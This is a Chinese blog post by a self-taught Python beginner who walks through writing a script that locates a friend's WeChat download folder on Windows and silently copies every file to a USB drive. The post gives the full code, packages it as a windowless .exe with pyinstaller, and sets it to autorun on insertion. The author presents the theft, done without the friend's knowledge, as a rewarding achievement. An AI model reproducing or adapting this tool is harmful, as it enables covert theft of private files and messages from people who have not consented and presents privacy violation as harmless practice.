我也是刚刚开始学习编程,只有1年的学习经验,但也是把Python的语法给搞透了,至于为什么要选择Python并持续学习下去,并不是只因为Python的语法简单易懂,而是它给我带来的成就感太多太多了。当然,也有自学的缘故,我的学习进度比那些在外面报课的人快了不少,但我还是觉得,取得成就感最大的原因是代码的实用性。像外面补习班每教一个知识点都要花大量时间整些无聊的项目,我觉得嘛,大可不必。还不如以一个喜欢的项目为目标,并以此为动力,朝那个目标不断学习所需要的(当然,那个目标不要定的太高)
真实的例子:(学习for循环之后)我突然想看看我朋友在他微信里发过或接收过哪些文件(微信是安照默认下载路径下载的),于是我就开始构思:
1.在没有变更下载路径的情况下,微信里的文件存放路径是固定的,都是在
Users\用户名\Documents\WeChat Files\微信用户\FileStorage\File这个目录里,也就是说我们只需要把这个目录递归复制进自己的文件夹里就好了。所以现在要解决的事情是,如何获取用户的主目录路径,都说互联网的力量是强大的,我在之前做项目时,知道了获取桌面路径的方法,我也就将就用了,但实际上,获取主目录的代码要比这个短得多,我当时是这样写的:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
d = winreg.QueryValueEx(key, "Desktop")[0]
# 上面那段代码我当时也是不知道什么意思,只知道是获取桌面路径
k = list(d) # 将桌面路径的字符串转换为列表来进行操作
for i in range(0, 7): # 把后面没必要的路径给删掉
k.pop()
k.append('Documents\\WeChat Files\\') # 加上存放微信文件的路径,至于微信用户的那个路径后面待会来讲
d = ''.join(k)
2.至于以微信用户为名的那个文件夹我们并不知道,但我们知道其它4个文件夹的名称是固定的,因此,我们可以用排除法,看我当时的操作:
folder = os.listdir(d) # 获取所有文件夹的名称
a = None # a这里表示的是以微信名称为名的那个文件夹的名称
for i in folder:
if i != 'All Users' and i != 'Applet' and i != 'WMPF' and i != 'Finderlive':
a = i # 排除其它4个文件夹
break
d = d + a + '\\FileStorage\\File\\' # 这里就是用于存放微信文件的那个文件夹路径了
3.接下来就到最后一步了,递归拷贝文件到自己的移动设备,这里我又到网上查了一下,是
shutil.copy(),那个存放微信文件的目录中,微信文件是以日期顺序的形式存放在不同文件夹中。由于我当时刚刚接触编程,可能还不知道递归拷贝文件的最简写法,我当时是这样写的:
folders = os.listdir(d) # 获取那个文件夹下所有用于存放微信文件的文件夹的名称
# 递归拷贝目录的代码如下,我就不一一解释了
for folder in folders:
d = d + folder + '\\'
files = os.listdir(d)
for file in files:
d += file
try:
shutil.copy(d, r) # 这里的变量r是我移动设备里用于存放朋友的微信文件的文件夹路径
except Exception as p:
print(p)
n = len(file)
if file == files[-1]:
n += 8
k = list(d)
for i in range(n):
k.pop()
d = ''.join(k)
continue
n = len(file)
if file == files[-1]:
n += 8
k = list(d)
for i in range(n):
k.pop()
d = ''.join(k)
4.但总不能当朋友的面让这个py程序运行吧,我们得先把这个文件夹打包成.exe(不弹窗口的那种)然后再把这个文件设置为插入移动设备自动运行。
pyinstaller -Fw 盗取朋友的微信文件.py # 基本操作,我就不讲解了
最后的代码是这样子的,里面的注释是为了方便当时的我构思,至于那个'360MoveData'是那个XX软件干的:
# D:\360MoveData\Users\irc yan\Documents\WeChat Files\xid_xe39kgzj18wp22\FileStorage\File
import os
import sys
import time
import winreg
import shutil
r = 'E:\\朋友的文件'
def main():
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders')
d = winreg.QueryValueEx(key, "Desktop")[0]
k = list(d)
for i in range(0, 7):
k.pop()
k.append('Documents\\WeChat Files\\') # d = D://360MoveData/Users/irc yan/Documents/WeChat Files/
d = ''.join(k)
folder = os.listdir(d)
# print(folder)
a = None
for i in folder:
if i != 'All Users' and i != 'Applet' and i != 'WMPF' and i != 'Finderlive':
a = i
break
# print(a)
d = d + a + '\\FileStorage\\File\\'
# d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/
print(d)
folders = os.listdir(d)
print(folders)
for folder in folders:
d = d + folder + '\\'
# d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/
files = os.listdir(d)
for file in files:
d += file
# d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/---
try:
shutil.copy(d, r)
except Exception as p:
print(p)
n = len(file)
if file == files[-1]:
n += 8
k = list(d)
for i in range(n):
k.pop()
d = ''.join(k)
continue
n = len(file)
if file == files[-1]:
n += 8
k = list(d)
for i in range(n):
k.pop()
# d = D://360MoveData/Users/irc yan/Documents/WeChat Files/xid_xe39kgzj18wp22/FileStorage/File/2022-10/
d = ''.join(k)
print('完成')
time.sleep(3)
if __name__ == '__main__':
main()
———————————————————————————————————————————
最后,我也是成功在我朋友眼皮底子下搞到了他的微信文件,这成就感不就来了吗???!!?
再来说说我学编程的原因,其实也很简单,都看到标题了?我对网络安全很感兴趣,我也相信这个行业在未来也会得到很好的发展,但学习这个东西往往会因为没了新鲜感(没有实践代码的机会),没了动力而放弃,所以我才要在CSDN上分享我的学习成果,内容以及方法。因此还需要电脑前的你们的支持和鼓励,至于学习路线嘛,下一步——Linux命令。虽然这是以Python为主的网络安全学习,但要知道,单单只是Python,根本满足不了你的需要!!
对了,因为我刚刚开始学,以后我发的文章里要是有什么错误,还请各位大佬指出,我会及时修改,谢谢。